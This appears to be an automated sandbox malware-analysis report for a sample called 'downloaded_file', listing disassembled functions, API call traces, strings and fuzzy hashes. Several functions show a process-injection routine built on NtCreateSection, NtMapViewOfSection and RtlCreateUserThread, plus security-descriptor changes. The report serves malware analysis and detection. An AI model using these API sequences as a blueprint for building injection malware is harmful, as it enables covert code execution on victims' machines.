Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: ObjectSingleWait$Wow64$DisableExitMutexOpenProcessRedirection
String ID: {6B55C48E-8FCD-482F-91CF-9C0B3FD8AC2B}
API String ID: 3042449743-1168154662
Opcode ID: 91aaada249ad37d83718ed419d3b50560b4dd2983b495c2c7f04d1ac3d7cf9d8
Instruction ID: db5bdcf1fb0c4d0753df0815690c54c3c6ddd9ba4b604a185c6a7bc44cae3eb4
Opcode Fuzzy Hash: 91aaada249ad37d83718ed419d3b50560b4dd2983b495c2c7f04d1ac3d7cf9d8
Instruction Fuzzy Hash: A7219DB0A41214CFDB36DB54EDE8BD873BEAB88304F2041A9E20DA6191CBB499C0CF11

Function 0031C570 Relevance: 10.6, APIs: 7, Instructions: 62
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,?,0031430B,?,00000000), ref: 0031C58C
GetFileSize.KERNEL32(000000FF,00000000,?,0031430B,?), ref: 0031C5A1
LocalAlloc.KERNELBASE(00000040,000000FF,?,0031430B), ref: 0031C5B6
ReadFile.KERNELBASE(000000FF,00000000,000000FF,?,00000000), ref: 0031C5D7
CloseHandle.KERNEL32(000000FF), ref: 0031C5ED
LocalFree.KERNEL32(00000000), ref: 0031C604
CloseHandle.KERNEL32(000000FF,?,0031430B), ref: 0031C60E

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: File$CloseHandleLocal$AllocCreateFreeReadSize
String ID:
API String ID: 2550598358-0
Opcode ID: ffb0bafd365a78fe22e54814b74c7dec8ad05f4536b63a8e1170b50d37d46297
Instruction ID: a127ef8410f7f848ae309b82703406b24ab6c8fd38ddc83bd301364c6bf67a93
Opcode Fuzzy Hash: ffb0bafd365a78fe22e54814b74c7dec8ad05f4536b63a8e1170b50d37d46297
Instruction Fuzzy Hash: A9210674A40208FBDB19DFA4D989FAEB779BB48701F108688F615A7290D734AA85CF50

Function 0031C4B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NW;;;LW),00000001,00000000,00000000), ref: 0031C4E6
GetSecurityDescriptorSacl.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0031C500
SetNamedSecurityInfoW.ADVAPI32(00000000,00000006,00000010,00000000,00000000,00000000,00000000), ref: 0031C51C
LocalFree.KERNEL32(00000000), ref: 0031C529

Strings

S:(ML;;NW;;;LW), xrefs: 0031C4E1

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$ConvertFreeInfoLocalNamedSaclString
String ID: S:(ML;;NW;;;LW)
API String ID: 173816248-495562761
Opcode ID: 1d0e66de9a9d2c2434c1c15403a38ff1c0cfb9f7886c1d04c6ca158a3edaccbe
Instruction ID: a75b4941014e2877a1a9b052e30494f0796f393cd1ca0c6c7481dfd3a438eaff
Opcode Fuzzy Hash: 1d0e66de9a9d2c2434c1c15403a38ff1c0cfb9f7886c1d04c6ca158a3edaccbe
Instruction Fuzzy Hash: 95015EB1A40308ABEB21CFD0CD45FEFB7BDAB08704F104548E605AA1C0D7B5AA44CFA1

Function 0030B4A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 30
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__snwprintf.LIBCMT ref: 0030B4BF
RegGetValueW.KERNELBASE(80000001,?,{C2FE454F-1649-4C34-B46D-B1EE64A366C2},00000008,00000000,00314257,0000000C), ref: 0030B4EB

Strings

{C2FE454F-1649-4C34-B46D-B1EE64A366C2}, xrefs: 0030B4DA
SOFTWARE\%s, xrefs: 0030B4AE
{BB52E685-57DB-490D-A4DD-CCF2F7D90D58}, xrefs: 0030B4A9

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Value__snwprintf
String ID: SOFTWARE\%s${BB52E685-57DB-490D-A4DD-CCF2F7D90D58}${C2FE454F-1649-4C34-B46D-B1EE64A366C2}
API String ID: 3635966236-3270428146
Opcode ID: d01c1bf29b31e80ad8420e0914912b3f295971d9b1ae295c6256907a7d3feb02
Instruction ID: fec7daccf55c1833676404a13528784adeecfda1d134a734c2a484cd06d2f830
Opcode Fuzzy Hash: d01c1bf29b31e80ad8420e0914912b3f295971d9b1ae295c6256907a7d3feb02
Instruction Fuzzy Hash: F1F0EC3174420CB6E721D7A5DC4BFFAB36CA704700F108194B90C961C0E6B59B4557D1

Function 00305CC0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00305D81

Strings

LdrGetProcedureAddress, xrefs: 00305F39

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: _malloc
String ID: LdrGetProcedureAddress
API String ID: 1579825452-3058439150
Opcode ID: 09c78cc6a4e8364987b1b45a530da1334eac5751038379abed5a649912e75966
Instruction ID: 49f890372204ef2a73e1c180ac4a85a7add8b0f3acc9e2e7c5663ebc72454086
Opcode Fuzzy Hash: 09c78cc6a4e8364987b1b45a530da1334eac5751038379abed5a649912e75966
Instruction Fuzzy Hash: 0EA12970D02218DFDB25DB98CDA5BEFB7B5BB48314F148298E00A6B285DB356E85CF50

Function 0031CD20 Relevance: 5.0, APIs: 4, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000040,00005004), ref: 0031CD2D
LocalAlloc.KERNEL32(00000040,00000000), ref: 0031CD57
LocalFree.KERNEL32(00000000), ref: 0031CD94
LocalFree.KERNEL32(00000000), ref: 0031CD9E

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$AllocFree
String ID:
API String ID: 2012307162-0
Opcode ID: a6cfbb7d2b7d01947da6ee4177dbd4359abb03d10f63357c3ae58a50b924d1c4
Instruction ID: 8938db434e96612534016a02d1462975ea11bc235ffb2510977683e4520b8e1c
Opcode Fuzzy Hash: a6cfbb7d2b7d01947da6ee4177dbd4359abb03d10f63357c3ae58a50b924d1c4
Instruction Fuzzy Hash: 75112EB9D10208FFCB09DFA8E949B9EBBB4FB4C300F008564E505A7280D7749A84CB50

Function 00301A1A Relevance: 4.5, APIs: 3, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00301C2B
Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 00301C42
ExitProcess.KERNEL32 ref: 00301C4A

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Wow64$DisableExitObjectProcessRedirectionSingleWait
String ID:
API String ID: 2411899824-0
Opcode ID: 077fc3c8398f8f087e23a502380f2a09b84c55421de6a79508d8288ef49f2725
Instruction ID: fb00c2740b438d784b5853e91fc859c03ec6b3ad10642119dbd58a59d9b41475
Opcode Fuzzy Hash: 077fc3c8398f8f087e23a502380f2a09b84c55421de6a79508d8288ef49f2725
Instruction Fuzzy Hash: 05E012704911149BEB3BEB74AD98658373CAB45311F109629F11A940E1CB35C5C4DB61

Function 00301A99 Relevance: 4.5, APIs: 3, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00301C2B
Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 00301C42
ExitProcess.KERNEL32 ref: 00301C4A

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Wow64$DisableExitObjectProcessRedirectionSingleWait
String ID:
API String ID: 2411899824-0
Opcode ID: 4a8e169d1d95e7c82201e4b2ba72dfe82eb582d98cd4d4725a643b29d450bf52
Instruction ID: fb00c2740b438d784b5853e91fc859c03ec6b3ad10642119dbd58a59d9b41475
Opcode Fuzzy Hash: 4a8e169d1d95e7c82201e4b2ba72dfe82eb582d98cd4d4725a643b29d450bf52
Instruction Fuzzy Hash: 05E012704911149BEB3BEB74AD98658373CAB45311F109629F11A940E1CB35C5C4DB61

Function 00301B3A Relevance: 4.5, APIs: 3, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00301C2B
Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 00301C42
ExitProcess.KERNEL32 ref: 00301C4A

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Wow64$DisableExitObjectProcessRedirectionSingleWait
String ID:
API String ID: 2411899824-0
Opcode ID: 80584b6ed585a42efaf92f9b5a58592e085068adf72dc0ff78f0d7bfa9e55f4c
Instruction ID: fb00c2740b438d784b5853e91fc859c03ec6b3ad10642119dbd58a59d9b41475
Opcode Fuzzy Hash: 80584b6ed585a42efaf92f9b5a58592e085068adf72dc0ff78f0d7bfa9e55f4c
Instruction Fuzzy Hash: 05E012704911149BEB3BEB74AD98658373CAB45311F109629F11A940E1CB35C5C4DB61

Function 00301B18 Relevance: 4.5, APIs: 3, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00301C2B
Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 00301C42
ExitProcess.KERNEL32 ref: 00301C4A

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Wow64$DisableExitObjectProcessRedirectionSingleWait
String ID:
API String ID: 2411899824-0
Opcode ID: 2a70fb1f4047b439d5c3878af28c10e08edde4111a6fbb84570760f772c1aa1e
Instruction ID: fb00c2740b438d784b5853e91fc859c03ec6b3ad10642119dbd58a59d9b41475
Opcode Fuzzy Hash: 2a70fb1f4047b439d5c3878af28c10e08edde4111a6fbb84570760f772c1aa1e
Instruction Fuzzy Hash: 05E012704911149BEB3BEB74AD98658373CAB45311F109629F11A940E1CB35C5C4DB61

Function 00306090 Relevance: 3.1, APIs: 2, Instructions: 64COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 003060F7
X64Call.DOWNLOADED_FILE(221F1B10,00007FFE,00000004,00000000,?,?,00000000,00000000,00000000,00000000,00000000), ref: 00306145

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Call_strlen
String ID:
API String ID: 1092177880-0
Opcode ID: 366b4b49d87fa7547b839f7c916e7171862137e096c5fbc5f65d3ce70c56e964
Instruction ID: ffcf53c0972990021551d03c5f0de1edaa2c8c7e5e1072dd56579e896fe8f023
Opcode Fuzzy Hash: 366b4b49d87fa7547b839f7c916e7171862137e096c5fbc5f65d3ce70c56e964
Instruction Fuzzy Hash: 462130B0914208DFDB25CFA8EC527AFB7B9FF48300F00512DE90897290E7705694CB95

Function 003058D5 Relevance: 1.5, APIs: 1, Instructions: 43threadCOMMON

Download Yara Rule

APIs

RtlCreateUserThread.NTDLL ref: 00305916

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CreateThreadUser
String ID:
API String ID: 1531140918-0
Opcode ID: 9d825d32468024121c3756d526faa31a86c33974238a552c6b200037977dcc1c
Instruction ID: 383a808b53811942b902f61da487c9cdb8566c0808be25f0fcd55df57bb4a3af
Opcode Fuzzy Hash: 9d825d32468024121c3756d526faa31a86c33974238a552c6b200037977dcc1c
Instruction Fuzzy Hash: ECF0F931A18D1DAFCF56ABACD925DAEBBB1FB68320F110615E405E3084DB31E9509F91

Non-executed Functions

Function 003144B0 Relevance: 145.8, APIs: 62, Strings: 21, Instructions: 500nativestringlibraryCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?,00000044,00000000), ref: 0031450D
GetModuleHandleW.KERNEL32(NTDLL.DLL), ref: 00314525
GetProcAddress.KERNEL32(?,NtCreateSection), ref: 00314537
GetProcAddress.KERNEL32(?,NtMapViewOfSection), ref: 0031454C
GetProcAddress.KERNEL32(?,RtlCreateUserThread), ref: 00314561
GetProcAddress.KERNEL32(?,NtUnmapViewOfSection), ref: 00314573
GetProcAddress.KERNEL32(?,NtClose), ref: 00314585
GetCurrentProcess.KERNEL32 ref: 00314591
NtCreateSection.NTDLL(00000000,00000006,00000000,0000091C,00000004,08000000,00000000), ref: 0031463B
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,0000091C,00000002,00000000,00000004), ref: 00314682
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 00314690
NtMapViewOfSection.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,0000091C,00000002,00000000,00000004), ref: 003146D8
NtCreateSection.NTDLL(00000000,0000000E,00000000,?,00000040,08000000,00000000), ref: 0031473B
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 00314784
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 00314792
NtMapViewOfSection.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 003147DA
_memmove.LIBCMT ref: 00314806
LoadLibraryW.KERNEL32(KERNEL32.DLL), ref: 0031481F
GetProcAddress.KERNEL32(?,LoadLibraryW), ref: 00314837
GetProcAddress.KERNEL32(?,GetProcAddress), ref: 00314851
lstrcpyW.KERNEL32(?,KERNEL32.DLL), ref: 0031486F
lstrcpyW.KERNEL32(?,USER32.DLL), ref: 00314886
lstrcpyA.KERNEL32(?,Sleep), ref: 0031489E
lstrcpyA.KERNEL32(?,LoadLibraryA), ref: 003148B6
lstrcpyA.KERNEL32(?,LocalAlloc), ref: 003148CD
lstrcpyA.KERNEL32(?,VirtualAlloc), ref: 003148E5
lstrcpyA.KERNEL32(?,LocalFree), ref: 003148FD
lstrcpyA.KERNEL32(?,CloseHandle), ref: 00314914
lstrcpyA.KERNEL32(?,VirtualFree), ref: 0031492C
lstrcpyA.KERNEL32(?,MessageBoxW), ref: 00314944
lstrcpyA.KERNEL32(?,VirtualProtect), ref: 0031495B
NtCreateSection.NTDLL(00000000,00000006,00000000,?,00000004,08000000,00000000), ref: 00314997
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,?,00000002,00000000,00000004), ref: 003149DD
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 003149EB
NtMapViewOfSection.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,?,00000002,00000000,00000004), ref: 00314A33
_memmove.LIBCMT ref: 00314A5B
CreateEventW.KERNEL32(00000000,00000001,00000000,003055B9), ref: 00314A98
RtlCreateUserThread.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00314AE0
WaitForSingleObject.KERNEL32(00000000,00000BB8), ref: 00314B1F
NtUnmapViewOfSection.NTDLL(00000000,00000000), ref: 00314B46
NtUnmapViewOfSection.NTDLL(00000000,00000000), ref: 00314B57
NtUnmapViewOfSection.NTDLL(00000000,00000000), ref: 00314B68
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00314B79
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00314B8A
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00314B9B
NtClose.NTDLL(00000000), ref: 00314BA8
NtClose.NTDLL(00000000), ref: 00314BB5
NtClose.NTDLL(00000000), ref: 00314BC2
CloseHandle.KERNEL32(00000000), ref: 00314BCF
TerminateProcess.KERNEL32(00000000,00000000), ref: 00314BE7
CloseHandle.KERNEL32(00000000), ref: 00314BF1
CloseHandle.KERNEL32(00000000), ref: 00314BFB
CloseHandle.KERNEL32(00000000), ref: 00314C1D
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00314C2E
NtClose.NTDLL(00000000), ref: 00314C3B
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00314C4C
NtClose.NTDLL(00000000), ref: 00314C59
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00314C6A
NtClose.NTDLL(00000000), ref: 00314C77
TerminateProcess.KERNEL32(00000000,00000000), ref: 00314C89
CloseHandle.KERNEL32(00000000), ref: 00314C93
CloseHandle.KERNEL32(00000000), ref: 00314C9D

Strings

VirtualFree, xrefs: 0031491A
KERNEL32.DLL, xrefs: 00314860
NtClose, xrefs: 0031457C
USER32.DLL, xrefs: 00314875
CloseHandle, xrefs: 00314903
LoadLibraryW, xrefs: 0031482B
LoadLibraryA, xrefs: 003148A4
D, xrefs: 003144CE
GetProcAddress, xrefs: 00314845
NtCreateSection, xrefs: 0031452E
NtMapViewOfSection, xrefs: 00314543
Sleep, xrefs: 0031488C
VirtualProtect, xrefs: 0031494A
KERNEL32.DLL, xrefs: 0031481A
NtUnmapViewOfSection, xrefs: 0031456A
LocalAlloc, xrefs: 003148BC
LocalFree, xrefs: 003148EB
NTDLL.DLL, xrefs: 00314520
RtlCreateUserThread, xrefs: 00314558
VirtualAlloc, xrefs: 003148D3
MessageBoxW, xrefs: 00314932

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

